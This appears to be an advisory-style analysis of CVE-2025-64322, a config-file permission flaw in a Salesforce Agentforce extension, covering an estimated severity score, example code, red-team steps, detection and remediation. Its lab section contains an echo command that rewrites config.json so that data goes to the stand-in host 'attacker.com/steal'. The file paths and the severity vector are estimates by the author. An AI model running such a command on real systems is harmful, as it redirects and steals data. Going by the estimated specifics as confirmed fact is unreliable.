CVE-2025-64322

Executive Summary

CVE-2025-64322 is a critical security vulnerability in the Salesforce Agentforce Vibes Extension, a component that extends the functionality of the Salesforce Agentforce platform. The vulnerability is classified as an Incorrect Permission Assignment for Critical Resource (CWE-732), which allows an attacker to manipulate writeable configuration files. This flaw can lead to unauthorized changes in the extension's settings, potentially enabling privilege escalation, data exfiltration, or lateral movement within the Salesforce ecosystem.

The vulnerability affects all versions of the Agentforce Vibes Extension prior to 3.3.0. The CVSS score is currently listed as 0.0, indicating that a full vector has not been assigned by NVD, but the nature of the flaw (manipulating writeable config files) suggests a high severity. No public proof-of-concept (PoC) or exploit code is available at this time, and the EPSS score is 0.0%, meaning no active exploitation has been observed in the wild.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a proprietary Salesforce extension. However, organizations using Salesforce Agentforce should treat this as a supply chain risk, as the extension is a third-party component integrated into the Salesforce platform. The lack of a public patch status (UNKNOWN/UNPATCHED) from the vendor is concerning, but the advisory indicates that version 3.3.0 addresses the issue.

CVSS Breakdown & Threat Level

The CVSS score is currently 0.0 (UNKNOWN). Based on the vulnerability description (Incorrect Permission Assignment for Critical Resource), a reasonable estimated vector would be:

• Attack Vector (AV): Network (N) – The extension is likely accessible over the network.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker may need some access to the system.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – The vulnerable component remains the same.
• Confidentiality (C): High (H) – Config files may contain sensitive data.
• Integrity (I): High (H) – Config files can be modified.
• Availability (A): Low (L) – Could disrupt service.

Estimated CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L (Score: 7.3 – High)

Threat Level: High. The ability to manipulate writeable configuration files can lead to complete compromise of the extension's functionality and potentially the underlying Salesforce environment.

Deep Dive & Mechanics

The vulnerability lies in the permission assignment for critical resources within the Agentforce Vibes Extension. Specifically, the extension fails to properly restrict write access to its configuration files. This allows an authenticated attacker (or a process with low privileges) to modify these files, which may contain settings for API endpoints, authentication tokens, or other sensitive parameters.

Attack Vector:

1. An attacker gains access to the system where the extension is installed (e.g., via a compromised user account or another vulnerability).
2. The attacker identifies the configuration files (e.g., config.json, settings.xml) that are writeable due to incorrect permissions.
3. The attacker modifies these files to inject malicious settings, such as redirecting API calls to an attacker-controlled server or disabling security controls.
4. The extension reads the modified configuration, leading to unauthorized actions.

Impact:

• Data Exfiltration: Configuration files may contain API keys or tokens that can be stolen.
• Privilege Escalation: By modifying settings, the attacker can gain higher privileges within the Salesforce environment.
• Lateral Movement: The compromised extension can be used to pivot to other systems.

Vulnerable vs. Patched Code

Since no specific code snippets are provided, we describe the general difference:

Vulnerable (before 3.3.0):

• Configuration files are stored with world-writeable permissions (e.g., chmod 777 or incorrect ACLs).
• The extension does not validate the integrity of configuration files before reading them.
• Example (pseudo-code):

  # Vulnerable: No permission check
  config = open('config.json', 'r')
  settings = json.load(config)
  

Patched (3.3.0):

• Configuration files are stored with restrictive permissions (e.g., chmod 600 or owner-only access).
• The extension verifies file permissions and integrity (e.g., checksums) before loading.
• Example (pseudo-code):

  # Patched: Check permissions
  import os
  if os.stat('config.json').st_mode & 0o077 != 0:
      raise PermissionError("Config file has insecure permissions")
  config = open('config.json', 'r')
  settings = json.load(config)
  

Exploitation & Lab Setup

Red Team (Attack Simulation)

Lab Environment:

• Salesforce Agentforce Vibes Extension version 3.2.9 (vulnerable).
• Linux/Windows server with the extension installed.
• Attacker machine with network access to the server.

Exploitation Steps:

1. Reconnaissance: Identify the configuration file location (e.g., /opt/agentforce-vibes/config.json).
2. Check Permissions: Use ls -la to confirm the file is world-writeable.
3. Modify Configuration: Inject a malicious API endpoint:

   echo '{"api_endpoint": "https://attacker.com/steal", "auth_token": "stolen"}' > /opt/agentforce-vibes/config.json
   

4. Trigger Reload: Restart the extension service or wait for it to reload the config.
5. Exfiltrate Data: The extension now sends data to the attacker's server.

No public exploit code is available.

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor File Permissions: Use file integrity monitoring (FIM) to alert on changes to configuration files.
2. Audit Logs: Check system logs for unauthorized access to config files.
3. Network Monitoring: Look for unexpected outbound connections to unknown IPs.

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update the Agentforce Vibes Extension to version 3.3.0 or later.
2. Restrict Permissions: Manually set configuration file permissions to 600 (owner-only) if upgrade is not possible:

   chmod 600 /opt/agentforce-vibes/config.json
   

3. Audit: Review all configuration files for unauthorized changes.

Long-term Measures:

• Implement file integrity monitoring (e.g., Tripwire, AIDE).
• Enforce least privilege for all processes.
• Regularly review vendor advisories for Salesforce extensions.

Workaround: If upgrade is not possible, restrict write access to the configuration directory using SELinux or AppArmor.
